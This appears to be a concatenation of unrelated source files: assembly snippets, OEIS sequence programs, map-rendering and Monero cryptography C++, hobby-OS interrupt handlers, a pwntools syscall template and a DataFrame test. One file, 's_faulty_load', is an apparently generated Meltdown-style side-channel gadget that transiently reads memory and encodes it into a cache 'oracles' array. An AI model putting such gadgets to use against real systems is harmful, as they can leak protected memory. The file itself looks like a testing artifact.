mov (-4)(%rdi), %eax
.LExitGetCacheSize00gas_11:
add $(24), %rsp
vzeroupper
pop %rbp
pop %rbx
ret
.LGetCacheSize_11gas_11:
mov $(-1), %eax
jmp .LExitGetCacheSize00gas_11
|
; A304515: a(n) = 159*2^n - 222 (n>=1).
; 96,414,1050,2322,4866,9954,20130,40482,81186,162594,325410,651042,1302306,2604834,5209890,10420002,20840226,41680674,83361570,166723362,333446946,666894114,1333788450,2667577122,5335154466,10670309154,21340618530,42681237282,85362474786,170724949794,341449899810,682899799842,1365799599906,2731599200034,5463198400290,10926396800802,21852793601826,43705587203874,87411174407970,174822348816162,349644697632546,699289395265314,1398578790530850,2797157581061922,5594315162124066
mov $1,2
pow $1,$0
sub $1,1
mul $1,318
add $1,96
|
#include "drape_frontend/metaline_manager.hpp"
#include "drape_frontend/map_data_provider.hpp"
#include "drape_frontend/message_subclasses.hpp"
#include "drape_frontend/threads_commutator.hpp"
#include "base/logging.hpp"
#include <functional>
namespace df
{
MetalineManager::MetalineManager(ref_ptr<ThreadsCommutator> commutator,
MapDataProvider & model)
: m_model(model)
, m_commutator(commutator)
{}
MetalineManager::~MetalineManager()
{
Stop();
}
void MetalineManager::Stop()
{
m_activeTasks.FinishAll();
}
void MetalineManager::Update(std::set<MwmSet::MwmId> const & mwms)
{
std::lock_guard<std::mutex> lock(m_mwmsMutex);
for (auto const & mwm : mwms)
{
auto const result = m_mwms.insert(mwm);
if (!result.second)
return;
auto readingTask = std::make_shared<ReadMetalineTask>(m_model, mwm);
auto routineResult = dp::DrapeRoutine::Run([this, readingTask]()
{
readingTask->Run();
OnTaskFinished(readingTask);
});
if (routineResult)
m_activeTasks.Add(readingTask, routineResult);
}
}
m2::SharedSpline MetalineManager::GetMetaline(FeatureID const & fid) const
{
std::lock_guard<std::mutex> lock(m_metalineCacheMutex);
auto const metalineIt = m_metalineCache.find(fid);
if (metalineIt == m_metalineCache.end())
return m2::SharedSpline();
return metalineIt->second;
}
void MetalineManager::OnTaskFinished(std::shared_ptr<ReadMetalineTask> const & task)
{
if (task->IsCancelled())
return;
std::lock_guard<std::mutex> lock(m_metalineCacheMutex);
// Update metalines cache.
auto const & metalines = task->GetMetalines();
for (auto const & metaline : metalines)
m_metalineCache[metaline.first] = metaline.second;
// Notify FR.
if (!metalines.empty())
{
LOG(LDEBUG, ("Metalines prepared:", task->GetMwmId()));
m_commutator->PostMessage(ThreadsCommutator::RenderThread,
make_unique_dp<UpdateMetalinesMessage>(),
MessagePriority::Normal);
}
// Remove task from active ones.
m_activeTasks.Remove(task);
}
} // namespace df
|
<%
from pwnlib.shellcraft.i386.linux import syscall
%>
<%page args="fd, iovec, count"/>
<%docstring>
Invokes the syscall writev. See 'man 2 writev' for more information.
Arguments:
fd(int): fd
iovec(iovec): iovec
count(int): count
</%docstring>
${syscall('SYS_writev', fd, iovec, count)}
|
GLOBAL haltcpu
GLOBAL _cli
GLOBAL _sti
GLOBAL picMasterMask
GLOBAL picSlaveMask
GLOBAL _irq00Handler
GLOBAL _irq01Handler
GLOBAL _irq02Handler
GLOBAL _irq03Handler
GLOBAL _irq04Handler
GLOBAL _irq05Handler
GLOBAL _exception0Handler
GLOBAL _exception4Handler
GLOBAL _exception6Handler
GLOBAL _irq80Handler
EXTERN irqDispatcher
EXTERN syscall_handler
EXTERN exceptionDispatcher
EXTERN main
%include "./asm/macro.m"
SECTION .text
haltcpu:
cli
hlt
ret
; -----------------------------------------------------------------------------
; Clear Interrupts. The processor will not handle maskable interrupts.
; Parameters:
; None
; -----------------------------------------------------------------------------
_cli:
cli
ret
; -----------------------------------------------------------------------------
; Set Interrupts. The processor will handle maskable interrupts.
; Parameters:
; None
; -----------------------------------------------------------------------------
_sti:
sti
ret
; -----------------------------------------------------------------------------
; Set a Mask for the Master PIC. A device is disabled if the value of its bit
; is 1.
; Parameters:
; -rdi: the mask applied.
; -----------------------------------------------------------------------------
picMasterMask:
push rbp
mov rbp, rsp
mov ax, di
out 21h, al
pop rbp
retn
; -----------------------------------------------------------------------------
; Set a Mask for the Slave PIC. A device is disabled if the value of its bit
; is 1.
; Parameters:
; -rdi: the mask applied.
; -----------------------------------------------------------------------------
picSlaveMask:
push rbp
mov rbp, rsp
mov ax, di ; ax = mascara de 16 bits
out 0A1h, al
pop rbp
retn
; -----------------------------------------------------------------------------
; 8254 Timer (Timer Tick) interrupt.
; -----------------------------------------------------------------------------
_irq00Handler:
irqHandlerMaster 0
; -----------------------------------------------------------------------------
; Keyboard interrupt.
; -----------------------------------------------------------------------------
_irq01Handler:
irqHandlerMaster 1
; -----------------------------------------------------------------------------
; Cascade pic interrupt. (It is never used)
; -----------------------------------------------------------------------------
_irq02Handler:
irqHandlerMaster 2
; -----------------------------------------------------------------------------
; Serial Port 2 and 4 interrupt.
; -----------------------------------------------------------------------------
_irq03Handler:
irqHandlerMaster 3
; -----------------------------------------------------------------------------
; Serial Port 1 and 3 interrupt.
; -----------------------------------------------------------------------------
_irq04Handler:
irqHandlerMaster 4
; -----------------------------------------------------------------------------
; USB interrupt.
; -----------------------------------------------------------------------------
_irq05Handler:
irqHandlerMaster 5
; -----------------------------------------------------------------------------
; Zero division exception.
; -----------------------------------------------------------------------------
_exception0Handler:
exceptionHandler 0
; -----------------------------------------------------------------------------
; Overflow exception.
; -----------------------------------------------------------------------------
_exception4Handler:
exceptionHandler 4
; -----------------------------------------------------------------------------
; Invalid opcode exception.
; -----------------------------------------------------------------------------
_exception6Handler:
exceptionHandler 6
; -----------------------------------------------------------------------------
; Syscall
; -----------------------------------------------------------------------------
_irq80Handler:
call syscall_handler
mov al, 20h
out 20h, al
iretq
SECTION .bss
aux resq 1
|
// Copyright (c) 2016, Monero Research Labs
//
// Author: Shen Noether <shen.noether@gmx.com>
//
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are
// permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright notice, this list
// of conditions and the following disclaimer in the documentation and/or other
// materials provided with the distribution.
//
// 3. Neither the name of the copyright holder nor the names of its contributors may be
// used to endorse or promote products derived from this software without specific
// prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
// EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
// MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
// THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
// THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#include "rctTypes.h"
using namespace crypto;
using namespace std;
#undef MONERO_DEFAULT_LOG_CATEGORY
#define MONERO_DEFAULT_LOG_CATEGORY "ringct"
namespace rct {
//dp
//Debug printing for the above types
//Actually use DP(value) and #define DBG
void dp(key a) {
int j = 0;
printf("\"");
for (j = 0; j < 32; j++) {
printf("%02x", (unsigned char)a.bytes[j]);
}
printf("\"");
printf("\n");
}
void dp(bool a) {
printf(" ... %s ... ", a ? "true" : "false");
printf("\n");
}
void dp(const char * a, int l) {
int j = 0;
printf("\"");
for (j = 0; j < l; j++) {
printf("%02x", (unsigned char)a[j]);
}
printf("\"");
printf("\n");
}
void dp(keyV a) {
size_t j = 0;
printf("[");
for (j = 0; j < a.size(); j++) {
dp(a[j]);
if (j < a.size() - 1) {
printf(",");
}
}
printf("]");
printf("\n");
}
void dp(keyM a) {
size_t j = 0;
printf("[");
for (j = 0; j < a.size(); j++) {
dp(a[j]);
if (j < a.size() - 1) {
printf(",");
}
}
printf("]");
printf("\n");
}
void dp(xmr_amount vali) {
printf("x: ");
std::cout << vali;
printf("\n\n");
}
void dp(int vali) {
printf("x: %d\n", vali);
printf("\n");
}
void dp(bits amountb) {
for (int i = 0; i < 64; i++) {
printf("%d", amountb[i]);
}
printf("\n");
}
void dp(const char * st) {
printf("%s\n", st);
}
//Various Conversions
//uint long long to 32 byte key
void d2h(key & amounth, const xmr_amount in) {
sc_0(amounth.bytes);
xmr_amount val = in;
int i = 0;
while (val != 0) {
amounth[i] = (unsigned char)(val & 0xFF);
i++;
val /= (xmr_amount)256;
}
}
//uint long long to 32 byte key
key d2h(const xmr_amount in) {
key amounth;
sc_0(amounth.bytes);
xmr_amount val = in;
int i = 0;
while (val != 0) {
amounth[i] = (unsigned char)(val & 0xFF);
i++;
val /= (xmr_amount)256;
}
return amounth;
}
//uint long long to int[64]
void d2b(bits amountb, xmr_amount val) {
int i = 0;
while (val != 0) {
amountb[i] = val & 1;
i++;
val >>= 1;
}
while (i < 64) {
amountb[i] = 0;
i++;
}
}
//32 byte key to uint long long
// if the key holds a value > 2^64
// then the value in the first 8 bytes is returned
xmr_amount h2d(const key & test) {
xmr_amount vali = 0;
int j = 0;
for (j = 7; j >= 0; j--) {
vali = (xmr_amount)(vali * 256 + (unsigned char)test.bytes[j]);
}
return vali;
}
//32 byte key to int[64]
void h2b(bits amountb2, const key & test) {
int val = 0, i = 0, j = 0;
for (j = 0; j < 8; j++) {
val = (unsigned char)test.bytes[j];
i = 8 * j;
while (val != 0) {
amountb2[i] = val & 1;
i++;
val >>= 1;
}
while (i < 8 * (j + 1)) {
amountb2[i] = 0;
i++;
}
}
}
//int[64] to 32 byte key
void b2h(key & amountdh, const bits amountb2) {
int byte, i, j;
for (j = 0; j < 8; j++) {
byte = 0;
i = 8 * j;
for (i = 7; i > -1; i--) {
byte = byte * 2 + amountb2[8 * j + i];
}
amountdh[j] = (unsigned char)byte;
}
for (j = 8; j < 32; j++) {
amountdh[j] = (unsigned char)(0x00);
}
}
//int[64] to uint long long
xmr_amount b2d(bits amountb) {
xmr_amount vali = 0;
int j = 0;
for (j = 63; j >= 0; j--) {
vali = (xmr_amount)(vali * 2 + amountb[j]);
}
return vali;
}
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %r8
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x422f, %r10
nop
nop
dec %rdi
movb $0x61, (%r10)
nop
nop
inc %r9
lea addresses_A_ht+0x1c76f, %rsi
lea addresses_WC_ht+0x1baf, %rdi
clflush (%rsi)
clflush (%rdi)
nop
add %r8, %r8
mov $119, %rcx
rep movsw
nop
xor $23252, %rcx
lea addresses_normal_ht+0x10707, %rsi
lea addresses_D_ht+0x1222f, %rdi
nop
nop
nop
nop
nop
cmp $45534, %r8
mov $116, %rcx
rep movsq
nop
inc %rcx
lea addresses_normal_ht+0x212f, %rdi
nop
nop
nop
nop
nop
and %r15, %r15
movb (%rdi), %cl
nop
nop
nop
nop
nop
cmp $1640, %r8
lea addresses_UC_ht+0x16bcf, %rsi
lea addresses_UC_ht+0x7d2f, %rdi
and $64866, %r10
mov $35, %rcx
rep movsb
nop
nop
nop
nop
cmp $51635, %rsi
lea addresses_UC_ht+0x1d02f, %r9
nop
cmp $22231, %r10
vmovups (%r9), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %r8
nop
nop
nop
nop
nop
sub %r15, %r15
lea addresses_normal_ht+0x7faf, %rdi
add $56055, %rcx
mov (%rdi), %r10w
nop
nop
nop
nop
add %rcx, %rcx
lea addresses_WC_ht+0x1c82f, %r15
nop
sub %r10, %r10
mov (%r15), %esi
nop
nop
nop
xor $16605, %rdi
lea addresses_UC_ht+0x1320f, %r8
nop
nop
cmp $52419, %r9
mov $0x6162636465666768, %rsi
movq %rsi, (%r8)
nop
nop
nop
nop
nop
sub $48315, %r9
lea addresses_D_ht+0x3c2f, %r8
nop
nop
nop
nop
cmp %rdi, %rdi
movb (%r8), %r10b
nop
nop
nop
cmp $17919, %rdi
lea addresses_D_ht+0x1732a, %rsi
nop
nop
cmp $9970, %rcx
mov (%rsi), %r10
nop
nop
nop
nop
nop
xor %r8, %r8
lea addresses_normal_ht+0x193ef, %r10
add %r8, %r8
mov $0x6162636465666768, %rsi
movq %rsi, (%r10)
nop
add %r8, %r8
lea addresses_WT_ht+0x4c2f, %r15
nop
nop
nop
nop
add %rcx, %rcx
movb $0x61, (%r15)
sub %r15, %r15
lea addresses_WT_ht+0x88af, %rdi
nop
and $53492, %r9
mov (%rdi), %si
xor $19450, %rcx
lea addresses_normal_ht+0x1a02f, %r8
nop
nop
nop
nop
nop
xor %rsi, %rsi
mov (%r8), %ecx
add %r10, %r10
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r15
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %r8
push %rcx
push %rdx
push %rsi
// Store
lea addresses_PSE+0x1795d, %r15
nop
nop
nop
nop
nop
xor $12219, %r12
mov $0x5152535455565758, %rsi
movq %rsi, (%r15)
nop
nop
nop
nop
nop
add %r12, %r12
// Load
lea addresses_RW+0x1c0cb, %r12
nop
nop
sub %r14, %r14
mov (%r12), %rdx
nop
nop
cmp %rsi, %rsi
// Store
lea addresses_WT+0xda0f, %r15
nop
nop
nop
dec %rcx
movl $0x51525354, (%r15)
nop
nop
nop
nop
nop
cmp %rsi, %rsi
// Faulty Load
mov $0x31c8b4000000002f, %rcx
nop
nop
nop
nop
inc %rdx
vmovups (%rcx), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $0, %xmm0, %r14
lea oracles, %rcx
and $0xff, %r14
shlq $12, %r14
mov (%rcx,%r14,1), %r14
pop %rsi
pop %rdx
pop %rcx
pop %r8
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_PSE'}}
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WT'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 8, 'AVXalign': True, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 2, 'NT': True, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
#include <controller_interface/controller_base.h>
#include <pluginlib/class_list_macros.h>
#include <empty_controller/empty_controller.hpp>
PLUGINLIB_EXPORT_CLASS(empty_controller::EmptyController, controller_interface::ControllerBase); |
; A106250: Expansion of (1-x+x^2+x^3)/(1-x-x^5+x^6).
; 1,0,1,2,2,3,2,3,4,4,5,4,5,6,6,7,6,7,8,8,9,8,9,10,10,11,10,11,12,12,13,12,13,14,14,15,14,15,16,16,17,16,17,18,18,19,18,19,20,20,21,20,21,22,22,23,22,23,24,24,25,24,25,26,26,27,26,27,28,28,29,28,29,30,30,31,30
add $0,2
mov $2,$0
mov $3,$0
lpb $3,1
lpb $2,1
add $0,1
trn $2,5
mov $3,1
lpe
add $2,$0
lpb $0,1
trn $0,3
sub $2,2
lpe
mov $1,$2
lpe
|
/*
Copyright (c) 2019-2022, Hossein Moein
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of Hossein Moein and/or the DataFrame nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL Hossein Moein BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <DataFrame/RandGen.h>
#include <cassert>
#include <iostream>
using namespace hmdf;
// -----------------------------------------------------------------------------
int main(int argc, char *argv[]) {
{
RandGenParams<long> p;
p.min_value = 0;
p.max_value = 1000000;
gen_uniform_int_dist<long>(1024, p);
}
{
RandGenParams<double> p;
p.min_value = 0;
p.max_value = 2.0;
p.seed = 23;
gen_uniform_real_dist<double>(1024, p);
}
{
gen_bernoulli_dist(1024);
}
{
RandGenParams<int> p;
p.t_dist = 1000;
gen_binomial_dist<int>(1024, p);
}
{
RandGenParams<int> p;
p.t_dist = 1000;
gen_negative_binomial_dist<int>(1024, p);
}
{
gen_geometric_dist<int>(1024);
}
{
RandGenParams<int> p;
p.mean = 4.0;
gen_poisson_dist<int>(1024, p);
}
{
RandGenParams<double> p;
p.lambda = 1.5;
gen_exponential_dist<double>(1024, p);
}
{
RandGenParams<double> p;
p.alpha = 1.5;
p.beta = 1.5;
gen_gamma_dist<double>(1024, p);
}
{
RandGenParams<double> p;
p.alpha = 1.5;
p.beta = 1.5;
gen_weibull_dist<double>(1024, p);
}
{
RandGenParams<double> p;
p.alpha = 1.5;
p.beta = 1.5;
gen_extreme_value_dist<double>(1024, p);
}
{
RandGenParams<double> p;
p.mean = 1.0; // Default
p.std = 0.005;
auto r = gen_normal_dist<double>(1024, p);
r = gen_normal_dist<double>(1024);
for (auto citer : r)
assert(citer == 1.0);
}
{
gen_lognormal_dist<double>(1024);
}
{
RandGenParams<double> p;
p.n = 4.0;
gen_chi_squared_dist<double>(1024, p);
}
{
gen_cauchy_dist<double>(1024);
}
{
gen_fisher_f_dist<double>(1024);
}
{
auto r = gen_student_t_dist<double>(1024);
for (auto citer : r)
std::cout << citer << ", ";
std::cout << std::endl;
}
{
auto r = gen_log_space_nums<double>(1024, 3, 4, 2);
auto r2 = gen_log_space_nums<double>(256, 3, 4, 10);
std::cout << '\n' << std::endl;
for (auto citer : r)
std::cout << citer << ", ";
std::cout << '\n' << std::endl;
for (auto citer : r2)
std::cout << citer << ", ";
std::cout << std::endl;
}
{
auto r = gen_even_space_nums<double>(1024, 3, 5);
auto r2 = gen_even_space_nums<double>(256, 5, 3);
std::cout << '\n' << std::endl;
for (auto citer : r)
std::cout << citer << ", ";
std::cout << '\n' << std::endl;
for (auto citer : r2)
std::cout << citer << ", ";
std::cout << std::endl;
}
{
auto r = gen_triangular_nums<int>(55, 1);
std::cout << '\n' << std::endl;
for (auto citer : r)
std::cout << citer << ", ";
std::cout << std::endl;
auto r2 = gen_triangular_nums<int>(500, 10);
std::cout << '\n' << std::endl;
for (auto citer : r2)
std::cout << citer << ", ";
std::cout << std::endl;
}
{
auto r = gen_sym_triangle<double>(10, 1, true);
std::cout << '\n' << std::endl;
for (auto citer : r)
std::cout << citer << ", ";
std::cout << std::endl;
auto r2 = gen_sym_triangle<double>(9, 1);
std::cout << '\n' << std::endl;
for (auto citer : r2)
std::cout << citer << ", ";
std::cout << std::endl;
auto r3 = gen_sym_triangle<double>(15, 5);
std::cout << '\n' << std::endl;
for (auto citer : r3)
std::cout << citer << ", ";
std::cout << std::endl;
}
return (0);
}
// -----------------------------------------------------------------------------
// Local Variables:
// mode:C++
// tab-width:4
// c-basic-offset:4
// End:
|
#d incbin("data1.bin") ; = 0x68656c6c6f |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.